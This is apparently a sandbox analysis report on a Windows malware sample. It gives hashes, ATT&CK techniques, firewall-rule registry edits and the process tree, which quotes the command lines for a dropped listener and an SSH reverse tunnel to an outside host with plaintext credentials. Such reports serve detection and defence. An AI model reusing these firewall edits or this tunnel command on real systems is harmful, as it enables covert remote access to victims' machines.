0d4513334bb732e946a351639befd3e4041a4eece56d7accc480c8c674259bcb

General

Target

ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
Size

309KB
MD5

ce8b733327c4d5479517c47c9d381f9c
SHA1

37566d7f4f4a04d3fa6b92fdfc239503a5f7b786
SHA256

0d4513334bb732e946a351639befd3e4041a4eece56d7accc480c8c674259bcb
SHA512

f8201f02ad15c3cdee9430c8dcbd450f77c502e0d9126b52d8a094883c840ccd461912f1466d1ddb929a2260e5b03123dac6a2b181a2f51b3b575930eb491673
SSDEEP

6144:2zG8nriOnW/rGgGh4Xw5PfK0OTvQXVU18atNdkfHhylhqHWHMLFqmXPr9:O1DYrr0OcXG8a3uiq2s4c

Score

10^/10

discovery evasion upx

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 5 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{1022E819-BC5F-4B3F-9C2A-9C2A000FCA33} = "v2.10\|Action=Allow\|Active=TRUE\|Dir=In\|Protocol=17\|Profile=Private\|Profile=Public\|App=C:\\Recycle.Msi\\cssrs.exe\|Name=cssrs\|"	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{1022E819-BC5F-4B3F-9C2A-9C2A000FCA21} = "v2.10\|Action=Allow\|Active=TRUE\|Dir=Out\|Protocol=17\|Profile=Private\|Profile=Public\|App=C:\\Recycle.Msi\\cssrs.exe\|Name=cssrs\|"	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{556E7A05-3A55-453D-AF7E-88A294A42334} = "v2.10\|Action=Allow\|Active=TRUE\|Dir=In\|Protocol=6\|Profile=Private\|Profile=Public\|App=C:\\Recycle.Msi\\System.exe\|Name=Command-line SSH, Telnet, and Rlogin client\|"	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{556E7A05-3A55-453D-AF7E-88A294A41212} = "v2.10\|Action=Allow\|Active=TRUE\|Dir=Out\|Protocol=6\|Profile=Private\|Profile=Public\|App=C:\\Recycle.Msi\\System.exe\|Name=Command-line SSH, Telnet, and Rlogin client\|"	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe

Executes dropped EXE 2 IoCs

pid	Process
2864	cssrs.exe
536	System.exe

Loads dropped DLL 4 IoCs

pid	Process
2828	WScript.exe
2828	WScript.exe
2828	WScript.exe
2828	WScript.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2828-32-0x0000000002860000-0x00000000028BC000-memory.dmp	upx
behavioral1/files/0x000500000001936b-34.dat	upx
behavioral1/memory/536-37-0x0000000000400000-0x000000000045C000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	System.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 2828	2860	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe	30
PID 2860 wrote to memory of 2828	2860	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe	30
PID 2860 wrote to memory of 2828	2860	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe	30
PID 2860 wrote to memory of 2828	2860	ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2864	2828	WScript.exe	31
PID 2828 wrote to memory of 2864	2828	WScript.exe	31
PID 2828 wrote to memory of 2864	2828	WScript.exe	31
PID 2828 wrote to memory of 2864	2828	WScript.exe	31
PID 2828 wrote to memory of 536	2828	WScript.exe	34
PID 2828 wrote to memory of 536	2828	WScript.exe	34
PID 2828 wrote to memory of 536	2828	WScript.exe	34
PID 2828 wrote to memory of 536	2828	WScript.exe	34

C:\Users\Admin\AppData\Local\Temp\ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ce8b733327c4d5479517c47c9d381f9c_JaffaCakes118.exe"
1⤵
- Modifies firewall policy service
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Recycle.Msi\alg.vbe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Recycle.Msi\cssrs.exe
    "C:\Recycle.Msi\cssrs.exe" -d -t -l -e0.0.0.0 -i127.0.0.1 -p2103 -a
    3⤵
    - Executes dropped EXE
    PID:2864
- - C:\Recycle.Msi\System.exe
    "C:\Recycle.Msi\System.exe" -ssh -R 19883:127.0.0.1:2103 zatzat.zapto.org -l user4 -pw 2n1612
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Impair Defenses

1

T1562

Disable or Modify System Firewall

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recycle.Msi\DiskDoctor.lnk

Filesize
1KB

MD5
8ba9297b06482f998db6660e954a7c94

SHA1
31f35021f36e1af026d3d9b316aba9fcbcde3519

SHA256
de34aa5389e6c7f4ee8151ed599267ace4e27253522be33ad4e5517135efa001

SHA512
32b6ec909155837f25053307ffb0eaef1deec79e58d062cad5702f5dc76c5d006e9c6315a4852b02bc4afafd350cd156f908157e0dcc59145be9e85975ee0512

Download Submit
C:\Recycle.Msi\System.exe

Filesize
142KB

MD5
0bf7c44a9324cdbef4e4d457540518a0

SHA1
946e0143896a52d4508f8fd6967629b0cb3e27ab

SHA256
071ae39526ae90c3f4599610013b34a364de20393ab6abe7ac22e2497612b2f9

SHA512
72dba39111ed76bbed5730486ece3b43b6176c97d8ff0b2548046d28aca72f74475eefe6351e6810906fbc725b4e7345fa6592137c35f3e7d2de105ef96d6a73

Download Submit
C:\Recycle.Msi\alg.vbe

Filesize
1KB

MD5
2a29410953014efc8c487f6ac0451e9f

SHA1
df44c3fb883fff38bed99948387948e10989d6ca

SHA256
9b65777b5e3ad9e407c98d1f9da210a2dedc4ee9d2dc6df0faf29f992f2cd0b2

SHA512
b3540e7b49d1a2c1d7b6d72e941d62c72272b31a44d7c7e3db5ba0be4ef480b3493342901a8d2d079070caedfc8d8c79079295a2b9a6b75073708026b3615c03

Download Submit
C:\Recycle.Msi\cssrs.exe

Filesize
116KB

MD5
263842a10accd37646672eb53bb33790

SHA1
95eae922120a3943e5c57a98fe07102758f510a5

SHA256
0ffe5e268f520294f2fa45121c023e38737c3b329c5cd34dd28811a4eed67042

SHA512
3db4dd3cbda49d9fb52ef36b7ec438c07f34295eb58ddf7af767265ea370454f26ddd4a17dde986601e8636b11506ed5706d40e6ce1754f2bf0490b0b4e6d8e0

Download Submit
memory/536-37-0x0000000000400000-0x000000000045C000-memory.dmp

Filesize
368KB

Download
memory/2828-32-0x0000000002860000-0x00000000028BC000-memory.dmp

Filesize
368KB

Download
memory/2828-35-0x0000000002860000-0x00000000028BC000-memory.dmp

Filesize
368KB

Download
memory/2860-38-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads